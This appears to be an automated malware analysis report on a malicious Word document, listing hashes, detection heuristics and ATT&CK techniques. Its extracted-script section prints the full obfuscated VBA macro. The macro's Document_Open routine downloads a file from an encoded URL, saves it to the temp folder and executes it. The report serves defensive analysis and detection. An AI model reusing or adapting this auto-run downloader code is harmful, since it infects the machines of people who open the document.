Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4ca46cd9c1f4c18d…

MALICIOUS

Office (OLE)

157.0 KB Created: 2018-09-12 21:38:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 64bae814cda868e698ed24835fcf53a9 SHA-1: b8ca51704e8ca330c0339d0b7ff1357816f5916a SHA-256: 4ca46cd9c1f4c18d29e13fe574b7881d65cd7fa219caa29352adfd19ccc85ecd
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros, including a Document_Open macro that utilizes CreateObject to download and execute a file from an embedded URL. This behavior is indicative of a downloader, aiming to fetch and run a secondary malicious payload. The ClamAV heuristic also flags it as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    QTJPPWYBWJQMFVWHVXFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRI = PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJH.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJH = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    JNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJHPOZRWZXEMMXXDOFTCSV = Environ("tmp") + ZYBTQTJPPWYBWJQMFVWHVXFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEF("NraRQNXE@I1IZHqK/$+[rn1[31")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5747 bytes
SHA-256: cc8d9202e960f92da4ebb093605fe03f97a1dd3e89b6cc00dab219ebba96c0d3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Function ZYBTQTJPPWYBWJQMFVWHVXFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEF(PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQL)
Dim KSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJHPOZRWZXEMMXXDOFTCSVFJETRRQSLILBOHPQSOBPEWUOYTPWCSSMFTEKRIRKMYT
Const FJETRRQSLILBOHPQSOBPEWUOYTPWCSSMFTEKRIRKMYTROXWISFIGMNUGGLQNCKTENKFUYZYBTQTJPPWYBWJQMFVWHV = 10

Const XFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUG = 33

Const ESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJHPOZRWZXEMMXXDOFTCSVFJETRRQSLILBOHPQSO = 126

Dim BPEWUOYTPWCSSMFTEKRIRKMYTROXWISFIGMNUGGLQNCKTENKFUYZYBTQTJPPWYBWJQMFVWHVXFKUBUNBMMZQZSU

    If Len(PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQL) < 5 Then
        ZYBTQTJPPWYBWJQMFVWHVXFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEF = ""
        Exit Function
    End If
 Dim HUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDH
    PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQL = Mid(PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQL, 3, Len(PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQL) - 4)
    For i = 2 To Len(PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQL) Step 2
        HUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDH = Asc(Mid(PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQL, i, 1)) + FJETRRQSLILBOHPQSOBPEWUOYTPWCSSMFTEKRIRKMYTROXWISFIGMNUGGLQNCKTENKFUYZYBTQTJPPWYBWJQMFVWHV
        If HUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDH > ESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJHPOZRWZXEMMXXDOFTCSVFJETRRQSLILBOHPQSO Then
            HUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDH = HUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDH - ESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJHPOZRWZXEMMXXDOFTCSVFJETRRQSLILBOHPQSO + XFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUG - 1
        End If
        BPEWUOYTPWCSSMFTEKRIRKMYTROXWISFIGMNUGGLQNCKTENKFUYZYBTQTJPPWYBWJQMFVWHVXFKUBUNBMMZQZSU = BPEWUOYTPWCSSMFTEKRIRKMYTROXWISFIGMNUGGLQNCKTENKFUYZYBTQTJPPWYBWJQMFVWHVXFKUBUNBMMZQZSU & Chr(HUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDH)
    Next
    ZYBTQTJPPWYBWJQMFVWHVXFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEF = BPEWUOYTPWCSSMFTEKRIRKMYTROXWISFIGMNUGGLQNCKTENKFUYZYBTQTJPPWYBWJQMFVWHVXFKUBUNBMMZQZSU
End Function

Private Sub Document_Open()
Dim PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJH
Set PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJH = CreateObject("microsoft.xmlhttp")
Dim JNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJHPOZRWZXEMMXXDOFTCSV
Dim WHVXFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRITDPDIFOGRJ
Set WHVXFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRITDPDIFOGRJ = CreateObject("Shell.Application")

JNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJHPOZRWZXEMMXXDOFTCSV = Environ("tmp") + ZYBTQTJPPWYBWJQMFVWHVXFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEF("NraRQNXE@I1IZHqK/$+[rn1[31")
PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJH.Open "GET", ZYBTQTJPPWYBWJQMFVWHVXFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEF("JiP^Wj2jofc0!%*%k^xe?_FbFkyd(]$$!Yge#c<%1_cc|WA][[k%c_@Y9e9dB%P^ceF_nb^kld_]Z$s[[ny[kO"), False
PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJH.send
QTJPPWYBWJQMFVWHVXFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRI = PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJH.responseBody
If PEGMLDJVVJNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJH.Status = 200 Then
Set OFTCSVFJETRRQSLILBOHPQSOBPEWUOYTPWCSSMFTEKRIRKMYTROXWISFIGMNUGGLQNCKTENKFUYZYBTQTJPPWYBWJ = CreateObject("adodb.stream")
OFTCSVFJETRRQSLILBOHPQSOBPEWUOYTPWCSSMFTEKRIRKMYTROXWISFIGMNUGGLQNCKTENKFUYZYBTQTJPPWYBWJ.Open
OFTCSVFJETRRQSLILBOHPQSOBPEWUOYTPWCSSMFTEKRIRKMYTROXWISFIGMNUGGLQNCKTENKFUYZYBTQTJPPWYBWJ.Type = 1
OFTCSVFJETRRQSLILBOHPQSOBPEWUOYTPWCSSMFTEKRIRKMYTROXWISFIGMNUGGLQNCKTENKFUYZYBTQTJPPWYBWJ.Write QTJPPWYBWJQMFVWHVXFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRI
OFTCSVFJETRRQSLILBOHPQSOBPEWUOYTPWCSSMFTEKRIRKMYTROXWISFIGMNUGGLQNCKTENKFUYZYBTQTJPPWYBWJ.SaveToFile JNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJHPOZRWZXEMMXXDOFTCSV, 2
OFTCSVFJETRRQSLILBOHPQSOBPEWUOYTPWCSSMFTEKRIRKMYTROXWISFIGMNUGGLQNCKTENKFUYZYBTQTJPPWYBWJ.Close
End If
WHVXFKUBUNBMMZQZSUHUZWGFQBNJHNVDOIMYVKLCLOSNDHIHJUYCRXXFHIEQYUNEFPEGMLDJVVJNUIRITDPDIFOGRJ.Open (JNUIRITDPDIFOGRJORPVELPQUGESTKNWBVLJJILDHKSGGNIKGSHVUMGQMHOTKKEERVCQZPCLQLJHPOZRWZXEMMXXDOFTCSV)


End Sub

Attribute VB_Name = "NewMacros"
Sub order()
'
' order Macro
'
'

End Sub

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